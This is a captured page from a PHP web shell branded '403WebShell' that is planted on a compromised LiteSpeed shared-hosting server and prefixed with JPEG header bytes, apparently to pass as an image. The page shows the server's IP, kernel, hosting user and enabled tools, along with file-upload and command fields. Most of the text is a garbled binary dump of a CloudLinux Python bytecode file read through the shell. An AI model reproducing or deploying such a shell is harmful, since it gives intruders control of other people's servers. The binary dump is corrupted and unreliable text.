ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.220
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clselect/__pycache__/cluserselect.cpython-311.pyc
�

�Mqh�p��p�ddlmZddlmZddlmZddlZddlZddlZddlZddlZddl	Z	ddl
mZddl
mZmZmZmZddlmZddlmZddlZd	d
lmZd	dlmZddlmZmZd	d
lmZd	dl m!Z!ddlm"Z"ddl#m$Z$	ddl%m&Z&ddl'm(Z(ddl)m*Z*m+Z+m,Z,ddl-m.Z.ddl/m0Z0n#e1$rYnwxYwGd�de��Z2dS)�)�print_function)�absolute_import)�divisionN)�configparser)�S_IRUSR�S_IWUSR�S_IRGRP�S_IROTH)�	iteritems)�Path�)�ClSelect)�ClSelectExcept)�ClPwd�	clcaptain)�clprint)�utils)�clcagefs)�ExternalProgramFailed)�BASEDIR)�get_user_prefix)�is_ea4_enabled�read_cpanel_ea4_php_conf�configure_alt_php)�da_change_user_php_ini)�ispmanager_create_user_wrapperc��eZdZdZdZej��rendZdZdZ	d.d�Z
ed/d	���Zd
�Z
d0d�Zd1d�Zd�Zd�Zd�Zd�Zd�Zd2d�Zd2d�Zdedefd�Zd1d�Zd�Zd�Zd�Zd�Zd�Zd.d�Zd3d �Z ee ��Z d!�Z!d"�Z"d#�Z#d$�Z$d%�Z%d&�Z&ee&��Z&d'�Z'd(�Z(ee(��Z(d4d)�Z)d*�Z*d+�Z+ee+��Z+d,�Z,d-�Z-dS)5�ClUserSelectz/var/cagefsz
/usr/selectorz'/usr/share/cagefs-skeleton/usr/selectorz/etc/cagefs/excludez.cl.selector/selector.pathNc�\�tj��s!tj�d��sdS|D]�}|j�|��}tj�|jd��}tj�|��s�|�	|��}	tj|��n.#ttf$r}tj||���d}~wwxYw	t �|����#t �|��wxYw��dS)z�
        Creates flags mod_lsapi_reset_me in users' home directories in order
        to recreate CRIU images when php version/extensions/options have changed
        For details see LVEMAN-1210
        :param users: list of usernames (strings)
        z/var/run/mod_lsapi/criu.enabledN�mod_lsapi_reset_me)r�	in_cagefs�os�path�isfile�_clpwd�get_pw_by_name�join�pw_dir�_change_uidr�write�OSErrorrr�UnableToSaveDatar�_restore_uid)�self�users�user�pwr#�previous_user_data�es       �L/opt/cloudlinux/venv/lib64/python3.11/site-packages/clselect/cluserselect.py�clean_crui_imageszClUserSelect.clean_crui_images0s:���!�#�#�	�B�G�N�N�;\�,]�,]�	��F��
	B�
	B�D���+�+�D�1�1�B��7�<�<��	�+?�@�@�D��7�>�>�$�'�'�
B�%)�%5�%5�d�%;�%;�"�B��O�D�)�)�)�)���!6�7�C�C�C�(�9�$��B�B�B�����C����*�!�-�-�.@�A�A�A�A��L�-�-�.@�A�A�A�A����
B�
	B�
	Bs*�-C�D�C-�C(�(C-�-D�D(Tc�4�tj�t��s;t	j��s(t
d��|rtjd��ndS|rut��rgt��}|rW	|d}|�d��s(t
d��|rtjd��ndSn#t$rYnwxYwt||dtj��dk|�	��}|r|rtjd��|S)
z�
        Switch symlink for alt php.
        Create .cagefs directory if not created
        Rerurn True if error has occured
        �ERROR: CageFS not installed.r
T�defaultzea-phpzlERROR: system default PHP version is alt-php. PHP Selector is disabled. Use cPanel MultiPHP manager instead.Fr)�	write_log�	drop_perm�configure_multiphp)r"r#�isdirrrr!�print�sys�exitrr�
startswith�KeyErrorr�geteuid)�versionr1�
exit_on_errorr;�conf�default_php�errors       r4�switch_symlink_for_alt_phpz'ClUserSelect.switch_symlink_for_alt_phpHsH���w�}�}�W�%�%�	�h�.@�.B�.B�	��0�1�1�1��
���������t��	�.�"2�"2�	�+�-�-�D��
��"&�y�/�K�&�1�1�(�;�;�(��]����)�(��H�Q�K�K�K�K�#'�4��������D�����"���5�R�Z�\�\�Q�5F�\n�
�
�
���	�]�	��H�Q�K�K�K��s�AC�
C�Cc��|jr#td��tjd��t	j��dkr#td��tjd��|���}t|��D]M\}}td|��|j�	|��}t�||dd����NdS)NzPERROR: this option does not work in "single user" mode (when CageFS is disabled)r
rzERROR: root privileges requiredzProcessing userF)rDr;)�without_cagefsr=r>r?r"rB�get_user_version_maprr%r&rrH)r.�users_vers_dictr0rCr1s     r4�apply_symlinks_rulesz!ClUserSelect.apply_symlinks_rulesqs�����	��d�e�e�e��H�Q�K�K�K�
�:�<�<�1����3�4�4�4��H�Q�K�K�K��3�3�5�5��&��7�7�	p�	p�M�D�'��#�T�*�*�*���+�+�D�1�1�B��3�3�G�R�u�in�3�o�o�o�o�	p�	p��phpc��tj||��t��|_t	��|_|r	||_dSg|_dS�N)r�__init__rr%�set�_user_excludes�exclude_pid_list)r.�itemrUs   r4rRzClUserSelect.__init__~sP����$��%�%�%��g�g���!�e�e����	'�$4�D�!�!�!�$&�D�!�!�!rNFc	�������|����|��}��|��}tj�|��s|S�����tj�|�j��}tj�	|��s|Stj
|����jr9�js��
�j����j�jkr|Stj�����jkr|S	t!t#���fd�t!����������d}|�|d�|d�jfS#t&t(f$r|cYSwxYw)zl
        Returns alternative version for a user
        @param user: string
        @return: string
        c�>���|d�j�kS)N�data)�_item)�i�alternatives�link_dstr.s ���r4�<lambda>z*ClUserSelect.get_version.<locals>.<lambda>�s���,�q�/�&�"9�$�*�"E��"Q�rNrrCrY)�_check_user_in_cagefs�_compose_user_alt_path�_compose_native_infor"r#r<�get_all_alternatives_datar'rZ�islink�readlinkrJ�_native_contents�_load_native_contents�dirname�
SELECTOR_PATH�list�filter�keys�
IndexErrorrA)	r.r0�show_native_version�alt_path�native�	full_pathrCr\r]s	`      @@r4�get_versionzClUserSelect.get_version�s������	
�"�"�4�(�(�(��.�.�t�4�4���*�*�+>�?�?���w�}�}�X�&�&�	��M��5�5�7�7���G�L�L��4�:�6�6�	��w�~�~�i�(�(�	��M��;�y�)�)����	��(�
7��*�*�4�:�6�6�6��4�0���<�<�<��
�
�7�?�?�8�$�$��(:�:�:��M�	���Q�Q�Q�Q�Q�Q�TX�Ye�Yj�Yj�Yl�Yl�Tm�Tm�n�n�����G��\�'�2�9�=�|�G�?T�U[�?\�]a�]g�?h�i�i���H�%�	�	�	��M�M�M�	���s�=A.F,�,G�Gc�n�tj�|��s�|�|��}	t	j|��n.#ttf$r}tj	||���d}~wwxYw	t�|��dS#t�|��wxYwdSrQ)r"r#r<r)r�mkdirr+rrr,rr-)r.r#r0r2r3s     r4�
create_dirzClUserSelect.create_dir�s����w�}�}�T�"�"�	>�!%�!1�!1�$�!7�!7��
>����%�%�%�%���2�3�
?�
?�
?�$�5�d�A�>�>�>�����
?����&��)�)�*<�=�=�=�=�=���)�)�*<�=�=�=�=����	>�	>s)�A�
B�A6�A1�1A6�6B�B2c�p�|j�|��}tj�||j��}|�|��}|�||��|�d|dzd���|�d|dzd���|�	|��dS)z\
        Creates additional directory and symlinks for use in "without CageFS" mode
        z
../php-cliz/phpT)�check_existencez../phpz/php-cgiN)
r%�get_homedirr"r#r'�
SELECTOR2_DIRr)rt�_create_symlinkr-)r.r0�homedir�path_in_home�cur_users     r4�create_selector_symlinksz%ClUserSelect.create_selector_symlinks�s����+�)�)�$�/�/���w�|�|�G�T�-?�@�@���#�#�D�)�)������d�+�+�+����\�<�&�+@�RV��W�W�W����X�|�j�'@�RV��W�W�W����(�#�#�#�#�#rNc���tj�tj��rD	|j�d|j��S#tj	ttf$rYdSwxYwdS)N�versionsro)r"r#r$r�
DEFAULTS_PATH�_dh�getrZ�ConfigParser�Error�IOErrorrA)r.s r4�get_default_versionz ClUserSelect.get_default_version�si��
�7�>�>�(�0�1�1�	 �
 ��x�|�|�J��
�;�;�;�� �&���:�
 �
 �
 ��x�x�
 �����xs�A�A+�*A+c�J�tj�|j�|��dd��}tj�|��s*|�||�����dS	|�|��}|�||�	d|j
����dS#tjttf$r<}tdt!|����t#jd��Yd}~dSd}~wwxYw)N�.cl.selector�defaults.cfgrz*Error while restoring settings from backupr
)r"r#r'r%rwr$�set_versionr��_get_default_config_handlerr�rZr�r�r�rAr=�strr>r?)r.r0�user_backup_path�dhr3s     r4�set_version_from_backupz$ClUserSelect.set_version_from_backup�s���7�<�<���(?�(?��(E�(E�~�We�f�f���w�~�~�.�/�/�	����T�4�#;�#;�#=�#=�>�>�>�>�>�
��5�5�6F�G�G��� � ��r�v�v�j�$�*�'E�'E�F�F�F�F�F�� �&���:�
�
�
��B�C��F�F�K�K�K�����������������
���s�AC
�
D"�&1D�D"c�R�|j�|j�|��d��sdSdS)aL"
        Checks if version is enabled,
        a version is considered "enabled" if there is no "state" option in the config.
        The presence of the "state" option always means it is disabled, regardless of its value.

        @param version: string
        @return: bool - True if version is enabled, False otherwise
        �stateTF)r��
has_optionrZ)r.rCs  r4�_version_enabledzClUserSelect._version_enabled�s3���x�"�"�T�Z�Z���#A�7�K�K�	��4��5rNc	��tj��dkr+|�|��x}rtj|���|�|��stjd|z���t
j|j|j	�
|j	�|����tj||||��}|r|SdS)zz
        Sets alternative version for a users with the same uid
        @param user: string
        @return: None
        rz'Version %s is disabled by administratorN)
r"rB�"get_version_selection_disabled_msgr�VersionModificationBlockedr�r�apply_for_at_least_one_user�_set_versionr%�	get_names�get_uid�NoUserSelector)r.r0rC�return_summaryrmrD�messagerYs        r4r�zClUserSelect.set_version�s����:�<�<�1���T�-T�-T�UY�-Z�-Z�"Z�'�� �;�G�D�D�D��$�$�W�-�-�	q� �;�<e�ho�<o�p�p�p��0����K�!�!�$�+�"5�"5�d�";�";�<�<��)�����
�
���	��K�	�	rNc�6�|jr|�|��}|�|��|�|��}tj�|��s2|jr|�||��ntj	|���|�
��}||vr|dkrtj|���|�|��|j
�|��}	|dk�r�|jr[|js|�|j��t%|j��D]#\}
}|�||dz|
z||���$�n�d}d}
tj�|j�d�|��}tj�|��rbtj�d|jz|��}tj�||��}|�||||��d}
t	j|j��D]�}|j|vr�|�d��r|
r�$tj�||��}tj�|j|��}|�||||����nWt%||d	��D];\}
}|�|tj�||
��||���<|jrt4�|��n3t4�||	|�
��|�||��|�|��|�|��|r|� ||��SdS)zg
        Sets alternative version for a user
        @param user: string
        @return: None
        ro�/zphp.iniFz.etcz%s.etcT�.inirY�rDN)!rJr)r_r`r"r#r<rtrr�rb�NoSuchAlternativeVersion�_remove_alternatives_linksr%r&rerfrZrryr'�NATIVE_PATH�existsrh�listdir�endswithrr-rH�_switch_php_da_isp�_reload_processes�_backup_settings�get_summary)r.r0rCr�rmrDr2rnr\r1rV�native_path�ini�new_ini_created�new_ini_path�src�dst�filenamer#s                   r4r�zClUserSelect._set_version�s�����	8�!%�!1�!1�$�!7�!7���"�"�4�(�(�(��.�.�t�4�4���w�}�}�X�&�&�	:��"�
:�����$�/�/�/�/�$�3�D�9�9�9��5�5�7�7���,�&�&�7�h�+>�+>� �9�'�B�B�B��'�'��1�1�1�
�[�
'�
'��
-�
-���h����"�
B��,�;��.�.�t�z�:�:�:�)2�4�3H�)I�)I�\�\�%�D�+��(�(��h��n�t�6K�T�SZ�[�[�[�[�\� ��"'��!�w�|�|��8H�8H�8H�,J�C�P�P���7�>�>�,�/�/�+��'�,�,�x�$�2D�'D�c�J�J�C��'�,�,�x��5�5�C��(�(��c�4��A�A�A�&*�O� "�
�4�+;� <� <�B�B�H��z��1�1� ��(�(��0�0�!�_�!� ��'�,�,�x��:�:�C��'�,�,�t�'9�8�D�D�C��(�(��c�4��A�A�A�A�B�(��W�(=�f�(E�F�F�
X�
X�
��d��$�$�T�2�7�<�<��$�+G�+G��w�W�W�W�W���	3��%�%�&8�9�9�9�9��3�3�G�R�}�3�]�]�]��#�#�D�'�2�2�2����t�$�$�$����d�#�#�#��	?��#�#�D�*=�>�>�>�	?�	?rN�username�returnc�n�|j�|��}td|�d���}|���sdS	|�d���5}tj|��}|�dd��cddd��S#1swxYwYdS#ttf$rYdSwxYw)a�
        Returns a message indicating that the selection of the PHP version
        is disabled for the user, based on the configuration file.

        Args:
            username (str): The username for which to check the configuration.

        Returns:
            str: The message indicating that version selection is disabled,
                 or an empty string if the configuration file does not exist
                 or does not contain the message.
        z!/var/cloudlinux/cl.selector/uids/z/version_selection_conf.json�zutf-8)�encoding�version_selection_disabled_msgN)
r%r�rr��open�json�loadr�r+�
ValueError)r.r��uid�config_file�f�config_datas      r4r�z/ClUserSelect.get_version_selection_disabled_msg2s#���k�!�!�(�+�+���`�s�`�`�`�a�a���!�!�#�#�	��2�	��!�!�7�!�3�3�
M�q�"�i��l�l��"���'G��L�L�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M�
M����
M�
M�
M�
M�
M�
M����$�	�	�	��2�2�	���s6�B�*B�B�B�B�B�B�B4�3B4c��|�|��|���}|�|��}ddddd�i}t|�����}|�d��|�|��d}|D]?}||vri||<|�|��||d<d||d<d||d<�@	|j�	d	|j
��}	n##tjtj
f$rd}	YnwxYw	d||	d<d||d<n"#t$rtj|	���wxYw|�d��||d<|�d��|�|d��g}
t'|��D]z\}}t)||d||d||df��s�<|
�|||d||d||dff���{t+|
��S)
a'
        Returns a summary of available alternative versions for the given user.

        Only versions that are enabled, default, or selected are included.
        The label for the "native" version is replaced if show_native_version is True.

        @param user: str - Username inside CageFS.
        @param show_native_version: bool - Whether to replace the 'native' version label.
        @return: tuple of (str, (bool, bool, bool)) - Each entry contains the version name and a tuple with flags:
            (enabled, default, selected).
        roTF)�enabledr8�selectedrr�r8r�r)r_rbra�sortedrk�appendrqr�r�r�rZr��NoSectionError�
NoOptionErrorrArr��pop�remove�	enumerate�any�tuple)
r.r0rmr\�native_info�summary�alt_versions�selected_versionrC�default_version�result�idx�vs
             r4r�zClUserSelect.get_summaryKs���	
�"�"�4�(�(�(��5�5�7�7���/�/�0C�D�D����%�U�S�S�T���l�/�/�1�1�2�2�����H�%�%�%��+�+�D�1�1�!�4��#�	1�	1�G��g�%�%�#%��� �*.�*?�*?��*H�*H�G�G��Y�'�*/�G�G��Y�'�+0�G�G��Z�(�(�	'�"�h�l�l�:�t�z�B�B�O�O���+�\�-G�H�	'�	'�	'�&�O�O�O�	'����	K�26�G�O�$�Y�/�48�G�$�%�j�1�1���	K�	K�	K� �9�/�J�J�J�	K����")�+�+�h�"7�"7���A������H�%�%�%����K��N�+�+�+�����-�-�	g�	g�F�C�����
�9�-�w�q�z�)�/D�g�a�j�Q[�F\�]�^�^�
���M�M�1�w�q�z�)�4�g�a�j��6K�W�UV�Z�Xb�Mc�d�e�f�f�f�f��V�}�}�s� C<�<D�D� D7�7Ec	��|�|��}|D]W}	|�||d����#t$r/}tjddt|��d���Yd}~�Pd}~wwxYw|�|��dS)z�
        Changes users of a supplied version to specified_version
        @param version: string
        @param current_version: string
        Fr��text�ERROR)�statusr�N)�
list_usersr��	Exceptionr�
print_diagr�r5)r.�new_version�current_versionr/r0r3s      r4�change_to_versionzClUserSelect.change_to_version|s�������0�0���	�	�D�
�� � ��{�%� �H�H�H�H���
�
�
��"�6�g�#�a�&�&�+Q�+Q�R�R�R����������
����	
���u�%�%�%�%�%s�4�
A-�%A(�(A-c�F�|���}||vr||SgS)z8
        Returns users of a certain alternative
        )�get_version_user_map)r.rCrYs   r4r�zClUserSelect.list_users�s-���(�(�*�*���d�?�?���=� ��	rNc��|jrddlm}|��gSt|����|�������S)zF
        Returns all valid system users
        @return: list
        r
)�get_cpanel_user)rJ�clselectctlphpr�ri�_get_system_users�
difference�_get_user_excludes)r.r�s  r4�list_all_userszClUserSelect.list_all_users�sf��
��	'�7�7�7�7�7�7�#�O�%�%�&�&��D�*�*�,�,�7�7��8O�8O�8Q�8Q�R�R�S�S�SrNc��t��}d|d<d|d<d|d<d}tj�|��	ddl}n3#t
$r&t
d��tjd��YnwxYwtj�	tt|��|d��}tj�|d	z��r"tj�|d
z��s|�
||��dSdS)Nr�init�reinit�verbose�/usr/share/cagefsr7r
�etcz/cl.selectorz	/cl.php.d)�dictr>r#r��	cagefsctl�ImportErrorr=r?r"r'rrr��cpetc_for_user)r.r0�config�LIBDIRr��cagefs_etc_paths      r4�cagefs_copy_etczClUserSelect.cagefs_copy_etc�s��������v����x����y��$����������	��������	�	�	��0�1�1�1��H�Q�K�K�K�K�K�	�����'�,�,�w���0E�0E�t�U�S�S���w�~�~�o��>�?�?�	3�r�w�~�~�Ve�hs�Vs�Gt�Gt�	3��$�$�T�6�2�2�2�2�2�	3�	3s�A�-A5�4A5c��|���}i}|D]7}	|�|d��d||<�##tj$rY�4wxYw|S)zH
        Returns user version map as dict
        @return: dict
        Fr)r�rqr�
NotCageFSUser)r.�actual_usersrYr0s    r4rKz!ClUserSelect.get_user_version_map�sv��
�*�*�,�,���� �	�	�D�
�!�-�-�d�E�:�:�1�=��T�
�
��!�/�
�
�
���
�����s�<�A�
Ac���|p|���}i}|D]X}	|�|d��d}||vrg||<||�|���D#tj$rY�UwxYw|S)zH
        Returns users grouped by version
        @return: dict
        Fr)r�rqr�rr�)r.�
user_namesr�rYr0rCs      r4r�z!ClUserSelect.get_version_user_map�s���
"�:�T�%8�%8�%:�%:���� �	�	�D�
��*�*�4��7�7��:���$���$&�D��M��W�
�$�$�T�*�*�*�*��!�/�
�
�
���
�����s�AA�A1�0A1c
��	|rbtj�|��r/tj|��|krtj|��ndStj|��tj||��dS#t$r=}|�|�tj|||���tjd|�d|�d|�d����d}~wwxYw)z�
        Creates symlink from src to dst
        @param src: string
        @param dst: string
        @param user: string
        @param version: string
        @param check_existence: bool
        @return: None
        NzCannot create symlink from z to z (�))
r"r#rcrd�unlinkr�remove_file_or_dirr�symlinkr�r�UnableToSetAlternative�SelectorException)r�r�r0rCrvr3s      r4ryzClUserSelect._create_symlink�s���
	o��
2��7�>�>�#�&�&�2��{�3�'�'�3�.�.��	�#��������,�S�1�1�1���c�3�'�'�'�'�'���	o�	o�	o���G�$7�$�;�D�'�1�M�M�M� �2�2�ad�ad�ad�fi�fi�fi�kl�kl�kl�3m�n�n�n�����	o���s�AA=�)A=�=
C�8B?�?Cc���|jr|jStj�|j��st��Stj|j��D]�}tj�|j|��}|j�ttd�tj|�������������|jS)zE
        Returns list of user excludes
        @return: list
        c�*�|���SrQ)�strip)�xs r4r^z1ClUserSelect._get_user_excludes.<locals>.<lambda>�s��1�7�7�9�9�rN)
rTr"r#r<�CAGEFS_EXCLUDErSr�r'�update�mapr�read_file_as_string�
splitlines)r.rV�full_item_paths   r4r�zClUserSelect._get_user_excludes�s���
��	'��&�&��w�}�}�T�0�1�1�	��5�5�L��J�t�2�3�3�	�	�D��W�\�\�$�*=�t�D�D�N���&�&��C�,�,�u�/H��/X�/X�/c�/c�/e�/e�f�f�g�g�
�
�
�
��"�"rNc��|jrdStj��rdSd}tj�|��	ddl}n3#t$r&td��tj	d��YnwxYw	|�
|��stj|���dS#t$r'td��tj	d��YdSwxYw)z4
        Check that cagefs enabled for user
        Nr�rr7r
z;ERROR: CageFS version is unsupported. Please update CageFS.)rJrr!r>r#r�r�r�r=r?�is_user_enabledrr��AttributeError)r.r0r�r�s    r4r_z"ClUserSelect._check_user_in_cagefs�s����	��F�����	��F�$����������	��������	�	�	��0�1�1�1��H�Q�K�K�K�K�K�	����	��,�,�T�2�2�
9�$�2�4�8�8�8�
9�
9���	�	�	��O�P�P�P��H�Q�K�K�K�K�K�K�	���s$�A�-A6�5A6�:)B%�%-C�Cc���tj|��D]`}|j|vr�tj�||��}tj�|��s�Ltj|���adS)zg
        Removes all symlinks from directory
        @param path: string
        @return: None
        N)r"r�rZr#r'rcr�)r.r#r�rps    r4r�z'ClUserSelect._remove_alternatives_linkssx���
�4�(�(�	!�	!�H��z��)�)������T�8�4�4�I��7�>�>�)�,�,�
���I�i� � � � �
	!�	!rNc�&�|jr|j�|��}|dzSt|j�|����}tj��rdn/tj�	|j
|dd�|dd��S)zz
        Composes and returns user alternative directory path
        @param user: string
        @return: string
        z
/.cl.selectorz/etc/cl.selector���Nr�zcl.selector)rJr%rwr�r�rr!r"r#r'�CAGEFS_PATH)r.r0rzr�s    r4r`z#ClUserSelect._compose_user_alt_path!s�����	-��k�-�-�d�3�3�G��_�,�,��$�+�%�%�d�+�+�,�,���!�#�#�
V�������d�.��B�C�C��$��}�U�U�	
rNc�v�|j���}t|�����S)zB
        Returns set of system users
        @return: set
        )r%�
get_user_dictrSrk)r.�
users_dicts  r4r�zClUserSelect._get_system_users1s/��
�[�.�.�0�0�
��:�?�?�$�$�%�%�%rNc��tj�|��r:	tj|��dS#t$rtj|d���wxYwdS)z?
        Deletes file to be written if it is a symlink
        z'Cannot delete symlink while saving dataN)r"r#rcr�r+rr,)�	file_paths r4�_delete_if_symlinkzClUserSelect._delete_if_symlink9sv���7�>�>�)�$�$�	l�
l��	�)�$�$�$�$�$���
l�
l�
l�$�5�i�Aj�k�k�k�
l����	l�	ls	�7� Ac��|j�|��}|j}|j}t	j��}t	j��}||kr||fS	t	j|��t	j|��tj
��||fS#t$r}tj
||���d}~wwxYw)z�
        Changes to another uid and returns tuple of previous euid and egid
        @param user: string
        @return: tuple
        N)r%r&�pw_uid�pw_gidr"rB�getegid�setegid�seteuid�secureio�set_capabilityr+r�UnableToChangeToAnotherUser)r.r0�entry�new_uid�new_gid�cur_euid�cur_egidr3s        r4r)zClUserSelect._change_uidEs�����*�*�4�0�0���,���,���:�<�<���:�<�<���w����X�%�%�	F��J�w�����J�w�����#�%�%�%��X�%�%���	F�	F�	F� �<�T�1�E�E�E�����	F���s�>B�
B=�#B8�8B=c�L�|dtj��kr�tjd���	tj|d��tj|d��dS#t$r-}tjt|d��|���d}~wwxYwdS)zw
        Restores changed uid and gid to original ones
        @param uid_and_gid: tuple
        @return: None
        rT)�clearr
N)
r"rBrr rrr+rr!r�)�uid_and_gidr3s  r4r-zClUserSelect._restore_uidZs����q�>�R�Z�\�\�)�)��#�$�/�/�/�/�
Y��
�;�q�>�*�*�*��
�;�q�>�*�*�*�*�*���
Y�
Y�
Y�$�@��[�QR�^�AT�AT�VW�X�X�X�����
Y����*�)s�4A*�*
B!�4(B�B!c��|s!tj�|��sdS|�|��|�|��}tj�|��}	dt
tj����z}tj�	||��}tj||�d���	ttztztz}	tj||��tj||	��n�#t$$rYn�wxYw#t&t$t(f$rp}
	tj�|��rtj|��n#YnxYwt,�|��t1j||
���d}
~
wwxYwt,�|��dS)z�
        Saves data to file
        @param user: string
        @param file_contents: string
        @param file_path: string
        @return: None
        Nzclseltmp_%s�
)r"r#r�rr)rgr��uuid�uuid4r'rr*rrr	r
�rename�chmodr+r�rr�rr-rr,)r.r0�
file_contentsr�creater2�file_directoryrg�	temp_path�maskr3s           r4�_write_to_filezClUserSelect._write_to_filejs����	�b�g�n�n�Y�7�7�	��F����	�*�*�*�!�-�-�d�3�3�������3�3��	�#�c�$�*�,�,�&7�&7�7�G�����^�W�=�=�I��O�I����'@�A�A�A�
���(�7�2�W�<���	�)�Y�/�/�/����D�)�)�)�)���
�
�
���
�������"7�8�	@�	@�	@�
��7�>�>�)�,�,�)��I�i�(�(�(���
�������%�%�&8�9�9�9� �1�)�Q�?�?�?�����	@����	�!�!�"4�5�5�5�5�5s>�.AD$�
A	D�
D!� D!�$F+�<3E0�/F&�0E4�24F&�&F+c�6�	tj��}td��D]8}|���}|� |j�|j���8n#tj$rYnwxYw	t���	|��}n#tj
f$rYdSwxYw	tj��D]�}	||���j
|���jfvs0|����|j��dkr�h|j}n#tj$rY��wxYw	||jvrt%j|t(j����#t,f$rY��wxYwdS#t,t.f$rYdSwxYw)z&
        Reloads user process
        �N���)�psutil�Process�range�parentrUr��pid�
NoSuchProcessrr��NoSuchUserException�process_iter�uids�real�	effective�name�findrZr"�kill�signal�SIGHUPr+r�)r.r0�next_parentr[r��procr=s       r4r�zClUserSelect._reload_processes�s���		� �.�*�*�K��1�X�X�
�
��)�0�0�2�2���*��)�0�0���A�A�A�A�����#�	�	�	��D�	����	��'�'�/�/�$�'�'�C�C���)�+�	�	�	��F�F�	����	��+�-�-�
�
����4�9�9�;�;�#3�T�Y�Y�[�[�5J�"K�K�K�t�y�y�{�{�O_�O_�`d�`j�Ok�Ok�oq�Oq�Oq� ��(�C�C���+�����H�������$�"7�7�7����V�]�3�3�3����z�����H�����
�
����!�	�	�	��D�D�	���s��AA�A0�/A0�4!B�B*�)B*�.F�A$D1�(F�)D1�0F�1E�F�E�F�(E0�/F�0E>�;F�=E>�>F�F�Fc��g}	t|��}|D]I}|�d��r2|d|�d���}|�|���J|���n#t
tf$rYnwxYw|S)zH
        Get extension names from user extensions file comments
        z;---�z---)r�r@�rfindr��closer+r�)r#�
extensionsr��line�exts     r4�_skim_over_extensionsz"ClUserSelect._skim_over_extensions�s����
�	��t�*�*�C��
+�
+���?�?�6�*�*�+��q�4�:�:�e�#4�#4�4�5�C��%�%�c�*�*�*���I�I�K�K�K�K����!�	�	�	��D�	�����s�A/A4�4B�Bc���|�|��g}|�|��}tj�tj�|��d��}|���}tj�|j�|��d��}tj�	|��s�|�
|��}	tj|��nH#ttf$r4}t�|��t#j||���d}~wwxYwt�|��tj�|d��}	tj�	|��r(d|j�d|�|��d�d�}
nd|j�d	�}
|�|
��t-|�����D]�}|jr |d
z|�dd��zd
z}n8tj�|d|�dd����d��}|�|��}
|�d|j�|�dd�t-|
�����d�����|�|d�|��|	��dS)zk
        Scans all user settings and backups'em in homedir as INI file
        @param user: string
        zcl.php.dr�Nr�z[versions]
z = rr+z
 = native
z/alt_php�.r�r�zalt-phpzalt_php.ini�[z]
modules = �,)r_r`r"r#r'rgrbr%rwr<r)rrsr+rrr-rr,rZrqr�r�rkrJ�replacerRr5)r.r0�backup_contents�
user_alt_path�
user_ext_pathr\r�r2r3�user_backup_filerC�alt�
curr_ext_pathrOs              r4r�zClUserSelect._backup_settings�s���
	
�"�"�4�(�(�(����3�3�D�9�9�
�����R�W�_�_�]�%C�%C�Z�P�P�
��5�5�7�7���7�<�<���(?�(?��(E�(E�~�V�V���w�}�}�-�.�.�	:�!%�!1�!1�$�!7�!7��
K��� 0�1�1�1�1���2�3�
K�
K�
K��)�)�*<�=�=�=�$�5�6F��J�J�J�����
K����
�%�%�&8�9�9�9��7�<�<�(8�.�I�I��
�7�=�=��'�'�	B�	B�15����T�=M�=M�d�=S�=S�TU�=V�=V�=V�W�G�G�	B�6:�Z�Z�Z�A�G����w�'�'�'��,�+�+�-�-�.�.�	o�	o�C��"�
t� -�
� :�S�[�[��b�=Q�=Q� Q�TZ� Z�
�
� "����]�]�C�K�K�X[�]_�L`�L`�L`�<c�er� s� s�
��3�3�M�B�B�J��"�"�"�t�z�z�3�3�3�PS�PX�PX�Y_�`j�Yk�Yk�Pl�Pl�Pl�Pl�#m�n�n�n�n����D�$�)�)�O�"<�"<�>N�O�O�O�O�Os�+D�E�/E�Ec�X�|jrdSt||��t||��dSrQ)rJrr)r.r0rCs   r4r�zClUserSelect._switch_php_da_isp�s8����	��F��t�W�-�-�-�&�t�W�5�5�5�5�5rNrQ)TT)rON)F)FFT)NNF)T).�__name__�
__module__�__qualname__rrhrr!r�rrxr5�staticmethodrHrMrRrqrtr}r�r�r�r�r�r�r�r�r�r�r�r�rKr�ryr�r_r�r`r�rr)r-r5r�rRr�r��rNr4rr)s��������K�#�M�#5�8�#5�#7�#7�f�-�-�=f�K�*�N�0�M�B�B�B�B�0�&�&�&��\�&�Pp�p�p�'�'�'�'�����>>�>�>�
$�
$�
$����
�
�
��������48?�8?�8?�8?�t�3��3�����2/�/�/�/�b
&�
&�
&����	T�	T�	T�3�3�3�$�������"o�o�o�o�2#�l�?�3�3�O�#�#�#� ���0!�!�!�
�
�
� &�&�&�l�l�l�&��&8�9�9��F�F�F�*Y�Y�Y� �<��-�-�L�!6�!6�!6�!6�F"�"�"�H��� )�L�)>�?�?�� P� P� P�D6�6�6�6�6rNr)3�
__future__rrrr�r"r>r,rGr�future.movesrr��statrrr	r
�future.utilsr�pathlibrr9�clselectr�clselectexceptr�clcommonrr�
clselectprintrr�rr�clcommon.utilsr�clcagefslib.constr�clcagefslib.fsr�clcagefslib.selector.configurerrr�clcagefslib.selector.panel.dar�clcagefslib.selector.panel.isprr�rrcrNr4�<module>rss&��&�%�%�%�%�%�&�&�&�&�&�&�����������	�	�	�	�
�
�
�
�����
�
�
�
�����5�5�5�5�5�5�3�3�3�3�3�3�3�3�3�3�3�3�"�"�"�"�"�"�������
�
�
�
�������*�*�*�*�*�*�%�%�%�%�%�%�%�%�"�"�"�"�"�"�������������0�0�0�0�0�0�	�)�)�)�)�)�)�.�.�.�.�.�.�j�j�j�j�j�j�j�j�j�j�D�D�D�D�D�D�M�M�M�M�M�M�M���	�	�	��D�	����@6�@6�@6�@6�@6�8�@6�@6�@6�@6�@6s�:"B�B%�$B%

Youez - 2016 - github.com/yon3zu
LinuXploit